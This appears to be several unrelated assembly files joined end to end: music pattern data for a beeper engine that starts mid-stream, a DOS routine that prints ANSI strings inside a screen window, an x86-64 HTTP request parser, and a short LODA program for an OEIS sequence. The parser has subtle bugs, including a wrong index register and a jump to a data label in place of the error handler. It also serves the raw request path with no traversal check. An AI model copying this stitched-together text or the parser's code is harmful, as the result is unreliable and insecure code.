#0800,#2005,#050c,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2005,#050c,squeekpin0,#0800,#0400,#04C2,#05FE dw #0800,#2005,#050c,squeekpin0,#0800,#0200,#04C2,#05FE dw #0800,#2004,#040b,squeekpin0,#0800,#011F,#04C2,#05FE dw #0800,#2004,#040b,squeekpin0,#0800,#023F,#04C2,#05FE dw #0800,#2004,#040b,squeekpin0,#0800,#047D,#04C2,#05FE dw #0800,#2004,#040b,squeekpin0,#0800,#023F,#04C2,#05FE dw #0800,#2003,#030a,squeekpin0,#0800,#011F,#04C2,#05FE dw #0800,#2003,#030a,squeekpin0,#0800,#023F,#04C2,#05FE dw #0800,#2003,#030a,squeekpin0,#0800,#047D,#04C2,#05FE dw #0800,#2003,#030a,squeekpin0,#0800,#023F,#04C2,#05FE dw #0800,#2002,#0209,squeekpin0,#0800,#0130,#04C2,#05FE dw #0800,#2002,#0209,squeekpin0,#0800,#0261,#04C2,#05FE dw #0800,#2002,#0209,squeekpin0,#0800,#04C2,#04C2,#05FE dw #0800,#2002,#0209,squeekpin0,#0800,#0261,#04C2,#05FE dw #0800,#2001,#0108,squeekpin0,#0800,#0130,#04C2,#05FE dw #0800,#2001,#0108,squeekpin0,#0800,#0261,#04C2,#05FE dw #0800,#2001,#0107,squeekpin0,#0800,#04C2,#04C2,#05FE dw #0800,#2001,#0106,squeekpin0,#0800,#0261,#04C2,#05FE db #40 oc.00 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#0000,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0000,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#0000,#0000,#0400,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0000,#0000,#0200,#0300 db #40 oc.01 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#0E41,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0E41,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#0E41,#0000,#0400,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0E41,#0000,#0200,#0300 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#0E41,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0E41,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#0E41,#0000,#0400,#0300 dw #0800,#0400,#0200,octode0,#04C2,#05FE,#0BFD,#0000,#0200,#0300 dw #0800,#0400,#0200,octode0,#04C2,#05FE,#0E41,#0000,#0200,#0300 oc.05 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#1000,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#1000,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#1000,#0000,#0400,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#1000,#0000,#0200,#0300 db #40 oc.02 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#0E41,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#1000,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#0BFD,#0000,#0400,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0AAE,#0000,#0200,#0300 db #40 oc.03 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#0BFD,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0BFD,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#0BFD,#0000,#0400,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#0BFD,#0000,#0200,#0300 db #40 oc.04 dw #1000,#0200,#0100,octode0,#04C2,#05FE,#155C,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#155C,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#155C,#0000,#0400,#0300 dw #0800,#0400,#0200,octode0,#04C2,#05FE,#1307,#0000,#0200,#0300 dw #0800,#0400,#0200,octode0,#04C2,#05FE,#11F6,#0000,#0200,#0300 dw #0800,#0200,#0100,octode0,#04C2,#05FE,#1307,#0000,#0100,#0300 dw #0800,#0200,#0100,octode0,#04C2,#05FE,#11F6,#0000,#0100,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#1000,#0000,#0200,#0300 dw #1000,#0800,#0400,octode0,#04C2,#05FE,#1000,#0000,#0400,#0300 dw #1000,#0400,#0200,octode0,#04C2,#05FE,#1000,#0000,#0200,#0300 db #40 sq.00 dw #1000,#0808,#0810,squeekpin0,#1000,#0100,#04C2,#05FE dw #1000,#0808,#0810,squeekpin0,#1000,#0200,#04C2,#05FE dw #1000,#1008,#0810,squeekpin0,#1000,#0400,#04C2,#05FE dw #1000,#2008,#0810,squeekpin0,#1000,#0800,#04C2,#05FE db #40
; this is ripped off from pd code in RBBS-ASM (was ANSI1-7.ASM) ; has been heavily modified by M. Kimes, who isn't much of an ; asm-programmer. Now works with C in a strange way and supports ; configurable window. It's momma wouldn't know it now (and probably ; would claim it's the type of program she warned it about). ; I reckon it was public domain before, and still is. ; ; int far pascal ansi (char far *str); ; void far pascal setcoords (int topx,int topy,int botx,int boty); ; void far pascal getcoords (int far *topx,int far *topy,int far *botx,int far *boty); ; void far pascal setfastansi (int fast); ; .model large ANSI_PRNT SEGMENT PUBLIC 'CODE' ASSUME CS:ANSI_PRNT PUBLIC ANSI,SETCOORDS,GETCOORDS,SETFASTANSI,GETFASTANSI PUBLIC _atop,_atopy,_atopx,_abot,_aboty,_abotx,_fastansiout VID_PAGE DB 0 ;Active video page _atop LABEL WORD _atopy DB 0 ;top y coord _atopx DB 0 ;top x coord _abot LABEL WORD _aboty DB 17h ;bottom y coord _abotx DB 4Fh ;bottom x coord _fastansiout DB 1 ;fast ansi writes? GETCOORDS PROC FAR ;void pascal far getcoords(int *topx,int *topy, ; int *botx,int *boty); ; get window coordinates (0 based) PUSH BP MOV BP,SP PUSH DS MOV AH,0 MOV AL,_atopx MOV BX,[BP]+18 MOV DS,[BP]+20 MOV [BX],AX MOV AL,_atopy MOV DS,[BP]+16 MOV BX,[BP]+14 MOV [BX],AX MOV AL,_abotx MOV DS,[BP]+12 MOV BX,[BP]+10 MOV [BX],AX MOV AL,_aboty MOV DS,[BP]+8 MOV BX,[BP]+6 MOV [BX],AX POP DS POP BP RET 16 GETCOORDS ENDP SETCOORDS PROC FAR ;void pascal far setcoords(int topx,int topy, ; int botx,int boty); ; set window coordinates (0 based) PUSH BP MOV BP,SP MOV AH,[BP]+12 MOV _atopx,AH MOV AH,[BP]+10 MOV _atopy,AH MOV AH,[BP]+8 MOV _abotx,AH MOV AH,[BP]+6 MOV _aboty,AH POP BP RET 8 SETCOORDS ENDP SETFASTANSI PROC FAR ;void pascal far setfastansi(int fast); ; set fast ansi (0 = off, ffh = BIOS) PUSH BP MOV BP,SP MOV AH,[BP]+6 MOV _fastansiout,AH POP BP RET 2 SETFASTANSI ENDP GETFASTANSI PROC FAR ;int pascal far getfastansi(void); ; get fast ansi setting (0 = off) XOR AX,AX MOV AH,_fastansiout RET GETFASTANSI ENDP ANSI PROC FAR ;int pascal far ansi(char far *str); ; display a string through DOS' ANSI driver, respecting a window PUSH BP ;set up stack frame MOV BP,SP PUSH DS ;save ds MOV AH,15 ;get current video state INT 10H MOV VID_PAGE,BH ;save it MOV BX,[BP]+6 ;get string address MOV DS,[BP]+8 ;set ds PUSH BX ;save original address MOV CX,BX XOR AX,AX ALOOP: CALL DOCHECKPOS MOV AL,[BX] ;set al to char to print CMP AL,10 ;\n? JNZ CHKCR ;no MOV DX,AX MOV AH,2 INT 21H ;display it CALL DOCHECKPOS MOV AL,13 ;and do cr JMP NOEXIT1 CHKCR: CMP AL,13 ;\r? JNZ CHKANSI ;no MOV DX,AX MOV AH,2 INT 21H ;display it CALL DOCHECKPOS MOV AL,10 ;and do lf JMP NOEXIT1 CHKANSI: CMP AL,27 ;escape? JNZ GOON ;no, skip all this... CMP BYTE PTR [BX]+1,'[' ; check for various ansi JNZ GOON ; commands that would screw CMP BYTE PTR [BX]+2,'2' ; up our window JNZ GOON1 ; \x1b[2J CMP BYTE PTR [BX]+3,'J' JNZ GOON2 ADD BX,4 CALL CLEARSCRN JMP SHORT ALOOP GOON1: CMP BYTE PTR [BX]+2,'K' ; \x1b[K JNZ GOON3 ADD BX,3 CALL CLEARLINE JMP SHORT ALOOP GOON3: CMP BYTE PTR [BX]+2,'k' ;\x1b[k JNZ GOON ADD BX,3 CALL CLEAREOL JMP SHORT ALOOP GOON2: CMP BYTE PTR [BX]+3,'j' ;\x1b[2j JNZ GOON ADD BX,4 CALL CLEAREOS JMP ALOOP GOON: CMP AL,0 ;End of string? JNZ NOEXIT1 JMP SHORT EXIT1 NOEXIT1: CMP _fastansiout,0 ;fast ansi writes? JZ BIOSWRITES ;nope INT 29H JMP SHORT SKIPSLOW BIOSWRITES: CMP _fastansiout,255 ;bios writes? JZ SLOWWRITES ;nope PUSH BX PUSH CX MOV BH,VID_PAGE INT 10H POP CX POP BX JMP SHORT SKIPSLOW SLOWWRITES: MOV DX,AX MOV AH,2 INT 21H ;display it SKIPSLOW: INC BX CMP BYTE PTR [BX],0 ;end of string? JZ EXIT1 ;yep CMP BX,CX ;string too long? JZ EXIT1 ;yep, it wrapped; avoid crash JMP ALOOP ;nope EXIT1: ;wrap it up... CALL DOCHECKPOS POP AX ;retrieve old start pos SUB BX,AX ;subtract from current pos MOV AX,BX ;return length of string printed POP DS POP BP RET 4 ANSI ENDP DOCHECKPOS: ;check cursor pos, protect window PUSH AX ;Save the registers that will be affected PUSH BX PUSH CX PUSH DX CALL WHERE_ARE_WE ; where the cursor is....... CHECKTOPX: CMP DL,_atopx JGE CHECKBOTX MOV AH,2 MOV DL,_atopx MOV BH,VID_PAGE INT 10H JMP SHORT CHECKTOPY CHECKBOTX: CMP DL,_abotx JLE CHECKTOPY MOV DL,_atopx INC DH MOV AH,2 MOV BH,VID_PAGE INT 10H CHECKTOPY: CMP DH,_atopy JGE CHECKBOTY MOV AH,2 MOV DH,_atopy MOV BH,VID_PAGE INT 10H JMP SHORT OUTTAHERE CHECKBOTY: CMP DH,_aboty ; Row ??? JLE OUTTAHERE ; Jump if less CALL SCROLLIT ; else scroll, we're too low MOV DH,_aboty ; put cursor back in window MOV BH,VID_PAGE INT 10H OUTTAHERE: POP DX ;Restore registers POP CX POP BX POP AX RET WHERE_ARE_WE: ;Get the current cursor position PUSH AX ;Save the registers PUSH BX PUSH CX MOV AH,03 ;SET UP FOR ROM-BIOS CALL (03H) MOV BH,VID_PAGE ;TO READ THE CURRENT CURSOR POSITION INT 10H ; DH = ROW DL = COLUMN POP CX ;Restore the registers POP BX POP AX RET ;And go back from wence we came SCROLLIT: PUSH AX ;Save the registers that will be affected PUSH BX PUSH CX PUSH DX MOV AH,2 ;Now set cursor position to ???,??? MOV DH,_aboty MOV DL,_atopx MOV BH,VID_PAGE ;attribute INT 10H MOV AH,8 ;Get the current character attribute MOV BH,VID_PAGE INT 10H MOV BH,AH ;Transfer the attribute to BH for next call MOV AH,6 ;Otherwise scroll ??? lines MOV AL,1 ;Only blank line ??? MOV CH,_atopy MOV CL,_atopx MOV DH,_aboty MOV DL,_abotx INT 10H ;And do it....... MOV AH,2 ;Now set cursor position to ???,??? MOV DH,_aboty MOV DL,_atopx MOV BH,VID_PAGE INT 10H POP DX ;Restore the stack like it was POP CX POP BX POP AX RET CLEARSCRN: ;Clear current window PUSH AX ;Save the registers PUSH BX PUSH CX PUSH DX MOV AH,2 ;Now set cursor position to ???,??? MOV DH,_aboty MOV DL,_atopx MOV BH,VID_PAGE ;attribute INT 10H ; MOV AH,8 ;Get the current character attribute ; MOV BH,VID_PAGE ; INT 10H ; MOV BH,AH ;Transfer the attribute to BH for next call MOV BH,7 MOV AH,6 ;Otherwise scroll ??? lines MOV AL,0 ;clear screen MOV CH,_atopy MOV CL,_atopx MOV DH,_aboty MOV DL,_abotx INT 10H ;And do it....... MOV AH,2 ;Now set cursor position to ???,??? MOV DH,_atopy MOV DL,_atopx MOV BH,VID_PAGE INT 10H POP DX ;Restore the stack like it was POP CX POP BX POP AX RET CLEAREOS: ;Clear to end of current window PUSH AX ;Save the registers PUSH BX PUSH CX PUSH DX MOV AH,8 ;Get the current character attribute MOV BH,VID_PAGE INT 10H MOV BH,AH ;Transfer the attribute to BH for next call MOV AH,6 ;Otherwise scroll ??? lines MOV AL,0 ;clear CALL WHERE_ARE_WE PUSH DX ;save it MOV CX,DX MOV DH,_aboty MOV DL,_abotx INT 10H ;And do it....... MOV AH,2 MOV BH,VID_PAGE POP DX INT 10H ;restore position POP DX ;Restore the stack like it was POP CX POP BX POP AX RET CLEARLINE: ;Clear current line PUSH AX ;Save the registers PUSH BX PUSH CX PUSH DX MOV AH,8 ;Get the current character attribute MOV BH,VID_PAGE INT 10H CALL WHERE_ARE_WE PUSH DX ;save it MOV BH,AH ;Transfer the attribute to BH for next call MOV AH,6 ;Otherwise scroll ??? lines MOV AL,0 ; clear line MOV CX,DX MOV CL,_atopx MOV DL,_abotx INT 10H ; And do it....... MOV AH,2 ;Now set cursor position to ???,??? MOV DL,_atopx MOV BH,VID_PAGE INT 10H MOV AH,2 MOV BH,VID_PAGE POP DX INT 10H ;restore position POP DX ;Restore the stack like it was POP CX POP BX POP AX RET CLEAREOL: ;Clear to end of current line PUSH AX ;Save the registers PUSH BX PUSH CX PUSH DX MOV AH,8 ;Get the current character attribute MOV BH,VID_PAGE INT 10H CALL WHERE_ARE_WE PUSH DX ;save it MOV BH,AH ;Transfer the attribute to BH for next call MOV AH,6 ;Otherwise scroll ??? lines MOV AL,0 ;clear line MOV CX,DX MOV DL,_abotx INT 10H ;And do it....... MOV AH,2 MOV BH,VID_PAGE POP DX INT 10H ;restore position POP DX ;Restore the stack like it was POP CX POP BX POP AX RET ANSI_PRNT ENDS END
[BITS 64] extern CLIENT_STRUCT extern REQUEST extern print_string extern int_to_str extern serve_file section .rdata msg_connection_from db "Got a connection from: ", 0 parsing_msg db "Parsing ", 0 parsing_err db "A request parsing error has occoured", 13, 10, 0 path_msg db "Serving: ", 0 path_err db "Failed to decode path", 13, 10, 0 dot db ".", 0 newline db 13, 10, 0 section .bss METHOD RESB 20 global PATH PATH RESB 256 section .text global process_request process_request: mov rdi, msg_connection_from call print_string print_out_ip: mov rdx, 0 mov byte dl, [CLIENT_STRUCT + 4] mov rdi, rdx call int_to_str mov rdi, rax call print_string mov rdi, dot call print_string mov rdx, 0 mov byte dl, [CLIENT_STRUCT + 5] mov rdi, rdx call int_to_str mov rdi, rax call print_string mov rdi, dot call print_string mov rdx, 0 mov byte dl, [CLIENT_STRUCT + 6] mov rdi, rdx call int_to_str mov rdi, rax call print_string mov rdi, dot call print_string mov rdx, 0 mov byte dl, [CLIENT_STRUCT + 7] mov rdi, rdx call int_to_str mov rdi, rax call print_string mov rdi, newline call print_string parse_request: call clear_stuff mov rsi, 0 mov rax, 0 get_method: mov byte al, [REQUEST + rsi] cmp al, ' ' je term_method mov byte [METHOD + rsi], al inc rsi cmp rsi, 15 jge parsing_error jmp get_method term_method: mov byte [METHOD + rsi], 0 inc rsi mov rbx, rsi mov rdi, parsing_msg call print_string mov rdi, METHOD call print_string mov rdi, newline call print_string mov rsi, rbx mov rdi, 0 get_path: mov byte al, [REQUEST + rsi] cmp al, ' ' je term_path mov byte [PATH + rdi], al inc rsi inc rdi cmp rdi, 256 jge path_error jmp get_path term_path: mov byte [PATH + rsi], 0 inc rsi cmp byte [PATH], '/' jne path_err mov rdi, path_msg call print_string mov rdi, PATH call print_string mov rdi, newline call print_string mov rdi, PATH call serve_file ; The End the_end: mov rax, 0 ret parsing_error: mov rdi, parsing_err call print_string jmp the_end path_error: mov rdi, path_err call print_string jmp the_end clear_stuff: mov rsi, 0 clear_method: mov byte [METHOD+rsi], 0 cmp rsi, 20 je prep_clear_path inc rsi jmp clear_method prep_clear_path: mov rsi, 0 clear_path: mov byte [PATH+rsi], 0 cmp rsi, 256 je return_clear inc rsi jmp clear_path return_clear: ret
; A014019: Inverse of 10th cyclotomic polynomial. ; 1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0,1,1,0,0,0,-1,-1,0,0,0 seq $0,53698 ; a(n) = n^3 + n^2 + n + 1. seq $0,163812 ; Expansion of (1 - x^5) * (1 - x^6) / ((1 - x) * (1 - x^10)) in powers of x.